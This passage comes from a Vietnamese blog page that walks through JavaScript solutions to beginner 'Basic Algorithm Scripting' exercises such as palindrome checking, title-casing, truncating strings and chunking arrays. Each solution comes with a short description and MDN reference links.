11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Basic Algorithm Scripting - Check for Palindromes</h2> <p>Kiểm tra xem một string có phải là <strong>palindrome</strong> hay không? (Một string được gọi là <strong>palindrome</strong> khi và chỉ khi đọc ngược và đọc xuôi đều giống nhau, với điều kiện bỏ qua các dấu câu, kí tự đặc biệt, dấu cách). Ví dụ: <strong>boob, eye,...</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">palindrome</span><span class="token punctuation">(</span><span class="token parameter">str</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> newStr <span class="token operator">=</span> str<span class="token punctuation">.</span><span class="token function">replace</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">[^a-zA-Z0-9]</span><span class="token regex-delimiter">/</span><span class="token regex-flags">g</span></span><span class="token punctuation">,</span> <span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">toLowerCase</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">var</span> newStrReverse <span class="token operator">=</span> newStr<span class="token punctuation">.</span><span class="token function">split</span><span class="token punctuation">(</span><span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">reverse</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">join</span><span class="token punctuation">(</span><span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> newStr <span class="token operator">===</span> newStrReverse<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">palindrome</span><span class="token punctuation">(</span><span class="token string">"eye"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Tham khảo:</p> <ul> <li><a href="/tim-hieu-regular-expression-javascript/">Tìm hiểu Regular Expression JavaScript</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace">String.prototype.replace()</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/toLowerCase">String.prototype.toLowerCase()</a></li> </ul> <h2 id="basic-algorithm-scripting---find-the-longest-word-in-a-string" style="position:relative;"><a href="#basic-algorithm-scripting---find-the-longest-word-in-a-string" aria-label="basic algorithm scripting find the longest word in a string permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Basic Algorithm Scripting - Find the Longest Word in a String</h2> <p>Tìm độ dài của từ dài nhất trong câu.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">findLongestWord</span><span class="token punctuation">(</span><span class="token parameter">str</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> words <span class="token operator">=</span> str<span class="token punctuation">.</span><span class="token function">split</span><span class="token punctuation">(</span><span class="token string">" "</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">var</span> maxLength <span class="token operator">=</span> words<span class="token punctuation">.</span><span class="token function">reduce</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">acc<span class="token punctuation">,</span> cur</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> cur<span class="token punctuation">.</span>length <span class="token operator">></span> acc <span class="token operator">?</span> cur<span class="token punctuation">.</span>length <span class="token operator">:</span> acc<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> maxLength<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">findLongestWord</span><span class="token punctuation">(</span><span class="token string">"The quick brown fox jumped over the lazy dog"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Tham khảo:</p> <ul> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/split">String.prototype.split()</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/length">String.length</a></li> <li><a href="https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/reduce">Array.prototype.reduce()</a></li> </ul> <h2 id="basic-algorithm-scripting---title-case-a-sentence" style="position:relative;"><a href="#basic-algorithm-scripting---title-case-a-sentence" aria-label="basic algorithm scripting title case a sentence permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Basic Algorithm Scripting - Title Case a Sentence</h2> <p>Trả về string với các từ có chữ cái đầu tiên viết hoa. Ví dụ: <strong>I'm a little tea pot</strong> => <strong>I'm A Little Tea Pot</strong>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">titleCase</span><span class="token punctuation">(</span><span class="token parameter">str</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> words <span class="token operator">=</span> str<span class="token punctuation">.</span><span class="token function">split</span><span class="token punctuation">(</span><span class="token string">" "</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">var</span> newWords <span class="token operator">=</span> words<span class="token punctuation">.</span><span class="token function">map</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">word</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> chars <span class="token operator">=</span> word<span class="token punctuation">.</span><span class="token function">split</span><span class="token punctuation">(</span><span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">;</span> chars<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> chars<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">toUpperCase</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">var</span> i <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> chars<span class="token punctuation">.</span>length<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> chars<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">=</span> chars<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">toLowerCase</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">return</span> chars<span class="token punctuation">.</span><span class="token function">join</span><span class="token punctuation">(</span><span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> newWords<span class="token punctuation">.</span><span class="token function">join</span><span class="token punctuation">(</span><span class="token string">" "</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">titleCase</span><span class="token punctuation">(</span><span class="token string">"I'm a little tea pot"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Tham khảo:</p> <ul> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/split">String.prototype.split()</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/toUpperCase">String.prototype.toUpperCase()</a></li> <li><a href="https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/String/toLowerCase">String.prototype.toLowerCase()</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/join">Array.prototype.join()</a></li> </ul> <h2 id="basic-algorithm-scripting---return-largest-numbers-in-arrays" style="position:relative;"><a href="#basic-algorithm-scripting---return-largest-numbers-in-arrays" aria-label="basic algorithm scripting return largest numbers in arrays permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Basic Algorithm Scripting - Return Largest Numbers in Arrays</h2> <p>Trả về một mảng gồm các số lớn nhất của mỗi sub-array.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">largestOfFour</span><span class="token punctuation">(</span><span class="token parameter">arr</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> answer <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">var</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> arr<span class="token punctuation">.</span>length<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> max <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">var</span> j <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> j <span class="token operator">&lt;</span> arr<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">.</span>length<span class="token punctuation">;</span> j<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>arr<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">[</span>j<span class="token punctuation">]</span> <span class="token operator">></span> max<span class="token punctuation">)</span> max <span class="token operator">=</span> arr<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">[</span>j<span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> answer<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span>max<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">return</span> answer<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">largestOfFour</span><span class="token punctuation">(</span><span class="token punctuation">[</span> <span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token number">13</span><span class="token punctuation">,</span> <span class="token number">27</span><span class="token punctuation">,</span> <span class="token number">18</span><span class="token punctuation">,</span> <span class="token number">26</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token number">32</span><span class="token punctuation">,</span> <span class="token number">35</span><span class="token punctuation">,</span> <span class="token number">37</span><span class="token punctuation">,</span> <span class="token number">39</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token number">1000</span><span class="token punctuation">,</span> <span class="token number">1001</span><span class="token punctuation">,</span> <span class="token number">857</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Tham khảo:</p> <ul> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators">Comparison Operators</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/push">Array.prototype.push()</a></li> </ul> <h2 id="basic-algorithm-scripting---confirm-the-ending" style="position:relative;"><a href="#basic-algorithm-scripting---confirm-the-ending" aria-label="basic algorithm scripting confirm the ending permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Basic Algorithm Scripting - Confirm the Ending</h2> <p>Kiểm tra xem một string có được kết thúc bởi một string khác.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">confirmEnding</span><span class="token punctuation">(</span><span class="token parameter">str<span class="token punctuation">,</span> target</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> target <span class="token operator">===</span> str<span class="token punctuation">.</span><span class="token function">substr</span><span class="token punctuation">(</span><span class="token operator">-</span>target<span class="token punctuation">.</span>length<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">confirmEnding</span><span class="token punctuation">(</span><span class="token string">"Bastian"</span><span class="token punctuation">,</span> <span class="token string">"n"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Tham khảo:</p> <ul> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/substr">String.prototype.substr()</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/substring">String.prototype.substring()</a></li> </ul> <h2 id="basic-algorithm-scripting---repeat-a-string-repeat-a-string" style="position:relative;"><a href="#basic-algorithm-scripting---repeat-a-string-repeat-a-string" aria-label="basic algorithm scripting repeat a string repeat a string permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Basic Algorithm Scripting - Repeat a string repeat a string</h2> <p>Lặp lại string với số lần cho trước.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">repeatStringNumTimes</span><span class="token punctuation">(</span><span class="token parameter">str<span class="token punctuation">,</span> num</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> answer <span class="token operator">=</span> <span class="token string">""</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">var</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> num<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> answer <span class="token operator">+=</span> str<span class="token punctuation">;</span> <span class="token keyword">return</span> answer<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">repeatStringNumTimes</span><span class="token punctuation">(</span><span class="token string">"abc"</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Tham khảo:</p> <ul> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String">Global String Object</a></li> </ul> <h2 id="basic-algorithm-scripting---truncate-a-string" style="position:relative;"><a href="#basic-algorithm-scripting---truncate-a-string" aria-label="basic algorithm scripting truncate a string permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Basic Algorithm Scripting - Truncate a string</h2> <p>Rút gọn string nếu nó dài quá n kí tự.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">truncateString</span><span class="token punctuation">(</span><span class="token parameter">str<span class="token punctuation">,</span> num</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>str<span class="token punctuation">.</span>length <span class="token operator">&lt;=</span> num<span class="token punctuation">)</span> <span class="token keyword">return</span> str<span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>num <span class="token operator">&lt;=</span> <span class="token number">3</span><span class="token punctuation">)</span> <span class="token keyword">return</span> str<span class="token punctuation">.</span><span class="token function">slice</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> num<span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token string">"..."</span><span class="token punctuation">;</span> <span class="token keyword">return</span> str<span class="token punctuation">.</span><span class="token function">slice</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> num <span class="token operator">-</span> <span class="token number">3</span><span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token string">"..."</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">truncateString</span><span class="token punctuation">(</span><span class="token string">"A-tisket a-tasket A green and yellow basket"</span><span class="token punctuation">,</span> <span class="token number">11</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Tham khảo:</p> <ul> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/slice">String.prototype.slice()</a></li> </ul> <h2 id="basic-algorithm-scripting---chunky-monkey" style="position:relative;"><a href="#basic-algorithm-scripting---chunky-monkey" aria-label="basic algorithm scripting chunky monkey permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Basic Algorithm Scripting - Chunky Monkey</h2> <p>Chia mảng thành các phần với độ dài n cho trước.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">chunkArrayInGroups</span><span class="token punctuation">(</span><span class="token parameter">arr<span class="token punctuation">,</span> size</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> answer <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">var</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> arr<span class="token punctuation">.</span>length<span class="token punctuation">;</span> i <span class="token operator">+=</span> size<span class="token punctuation">)</span> <span class="token punctuation">{</span> answer<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span>arr<span class="token punctuation">.</span><span class="token function">slice</span><span class="token punctuation">(</span>i<span class="token punctuation">,</span> i <span class="token operator">+</span> size<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">return</span> answer<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">chunkArrayInGroups</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token string">"c"</span><span class="token punctuation">,</span> <span class="token string">"d"</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Tham khảo:</p> <ul> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/push">Array.prototype.push()</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/slice">Array.prototype.slice()</a></li> </ul> <h2 id="basic-algorithm-scripting---slasher-flick" style="position:relative;"><a href="#basic-algorithm-scripting---slasher-flick" aria-label="basic algorithm scripting slasher flick permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Basic Algorithm Scripting - Slasher Flick</h2> <p>Trả về những phần tử của mảng sau khi đã cắt đi n phần tử đầu tiên.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">slasher</span><span class="token punctuation">(</span><span class="token parameter">arr<span class="token punctuation">,</span> howMany</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> arr<span class="token punctuation">.</span><span class="token function">splice</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> howMany<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> arr<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">slasher</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Tham khảo:</p> <ul> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/slice">Array.prototype.slice()</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/splice">Array.prototype.splice()</a></li> </ul> <h2 id="basic-algorithm-scripting---mutations" style="position:relative;"><a href="#basic-algorithm-scripting---mutations" aria-label="basic algorithm scripting mutations permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Basic Algorithm Scripting - Mutations</h2> <p>Kiểm tra xem trong 1 string có chứa tất cả các kí tự của string thứ 2 hay không.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">mutation</span><span class="token punctuation">(</span><span class="token parameter">arr</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> arr<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> arr<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">toLowerCase</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> arr<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">=</span> arr<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">toLowerCase</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">var</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> arr<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">.</span>length<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>arr<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">indexOf</span><span class="token punctuation">(</span>arr<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">return</span> <span class="token boolean">true</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">mutation</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token string">"hello"</span><span class="token punctuation">,</span> <span class="token string">"hey"</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Tham khảo:</p> <ul> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/indexOf">String.prototype.indexOf()</a></li> <li><a href="https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/String/toLowerCase">String.prototype.toLowerCase()</a></li> </ul> <h2 id="basic-algorithm-scripting---falsy-bouncer" style="position:relative;"><a href="#basic-algorithm-scripting---falsy-bouncer" aria-label="basic algorithm scripting falsy bouncer permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Basic Algorithm Scripting - Falsy Bouncer</h2> <p>Bỏ đi tất cả các giá trị <strong>falsy</strong> 